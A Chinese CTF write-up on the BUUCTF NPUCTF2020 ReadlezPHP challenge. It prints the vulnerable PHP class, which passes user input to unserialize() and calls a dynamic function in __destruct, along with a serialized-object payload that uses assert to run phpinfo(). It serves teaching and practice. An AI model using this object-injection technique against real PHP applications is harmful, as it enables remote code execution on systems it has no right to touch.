当前位置: 首页 > news >正文

127,【3】 buuctf [NPUCTF2020]ReadlezPHP

进入靶场

吓我一跳

查看源码

点击

审计

<?php

// 定义一个名为 HelloPhp 的类,该类可能用于执行与日期格式化相关的操作
class HelloPhp
{
    // 定义一个公共属性 $a,用于存储日期格式化的模板
    public $a;
    // 定义一个公共属性 $b,用于存储要调用的函数名
    public $b;

    // 构造函数,当创建 HelloPhp 类的对象时会自动调用
    public function __construct()
    {
        // 将日期格式化模板 "Y-m-d h:i:s" 赋值给属性 $a
        // "Y-m-d h:i:s" 表示年-月-日 时:分:秒 的格式
        $this->a = "Y-m-d h:i:s";
        // 将 PHP 的日期函数名 "date" 赋值给属性 $b
        $this->b = "date";
    }

    // 析构函数,当对象被销毁时会自动调用
    public function __destruct()
    {
        // 将属性 $a 的值赋给局部变量 $a
        $a = $this->a;
        // 将属性 $b 的值赋给局部变量 $b
        $b = $this->b;
        // 调用以 $b 为函数名的函数,并将 $a 作为参数传递给该函数
        // 由于 $b 为 "date",$a 为日期格式化模板,所以这里实际上是调用 date 函数进行日期格式化
        // 最后将格式化后的日期字符串输出
        echo $b($a);
    }
}

// 创建一个 HelloPhp 类的对象 $c
$c = new HelloPhp;

// 检查 $_GET 超全局数组中是否存在名为 'source' 的参数
if (isset($_GET['source'])) {
    // 如果存在 'source' 参数,则使用 highlight_file 函数高亮显示当前 PHP 文件的源代码
    highlight_file(__FILE__);
    // 终止脚本的执行,并返回状态码 0
    die(0);
}

// 使用 @ 符号抑制可能出现的错误信息
// 尝试对 $_GET 超全局数组中名为 "data" 的参数进行反序列化操作
// 并将反序列化后的结果赋值给变量 $ppp
@$ppp = unserialize($_GET["data"]);

我们需要通过get方式传参给data参数,并进行序列化操作

同时b包括函数名,a包括对应参数

system() 是 PHP 中的一个函数,其作用是执行外部程序,并将执行结果输出

但尝试了不行,换一个

assert() 函数在 PHP 中既可以用于调试和检查条件是否成立,也可以将传入的参数当作 PHP 代码来执行

此处就是利用了他的第二个性质

phpinfo() 函数用于输出 PHP 的配置信息

<?php
class HelloPhp
{
    public $a = "phpinfo()";
    public $b = "assert";
}
$c = new HelloPhp();
echo serialize($c);
?> 

O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo()";s:1:"b";s:6:"assert";}

 

 

 

相关文章:

  • 云原生AI Agent应用安全防护方案最佳实践(上)
  • 不到一个月,SQLite 3.49.0来了
  • 本地事务简介
  • 【进程与线程】进程之间的通信
  • 16.React学习笔记.React更新机制
  • 【DeepSeek × Postman】请求回复
  • LogicFlow自定义节点:矩形、HTML(vue3)
  • Java 入门核心基础学习 + 开源项目 + 思维导图
  • 深度学习|表示学习|CNN中的Layer Normalization | 25
  • 数据可视化
  • 深度解析策略模式:从理论到企业级实战应用
  • Unity-Mirror网络框架-从入门到精通之Multiple Additive Scenes示例
  • iOS主要知识点梳理回顾-5-运行时方法交换
  • Jmeter+Influxdb+Grafana平台监控性能测试过程
  • STM32F407通过FSMC扩展外部SRAM和NAND FLASH
  • Gitlab中如何进行仓库迁移
  • 游戏应用谷歌后台使用介绍
  • 设计模式Python版 命令模式(上)
  • conda 修复 libstdc++.so.6: version `GLIBCXX_3.4.30‘ not found 简便方法
  • 如何在Servlet容器中使用HttpServletResponse?
  • 国家发改委:美芯片药品等领域关税影响全球科技发展,损害人类共同利益
  • 新华时评:直播间里“家人”成“韭菜”,得好好管!
  • 近4小时会谈、3项联合声明、20多份双边合作文本,中俄元首今年首次面对面会晤成果颇丰
  • 习近平向“和平薪火 时代新章——纪念中国人民抗日战争和苏联伟大卫国战争胜利80周年中俄人文交流活动”致贺信
  • 万里云端遇见上博--搭乘“上博号”主题飞机体验记
  • 第四轮伊美核问题谈判预计5月11日举行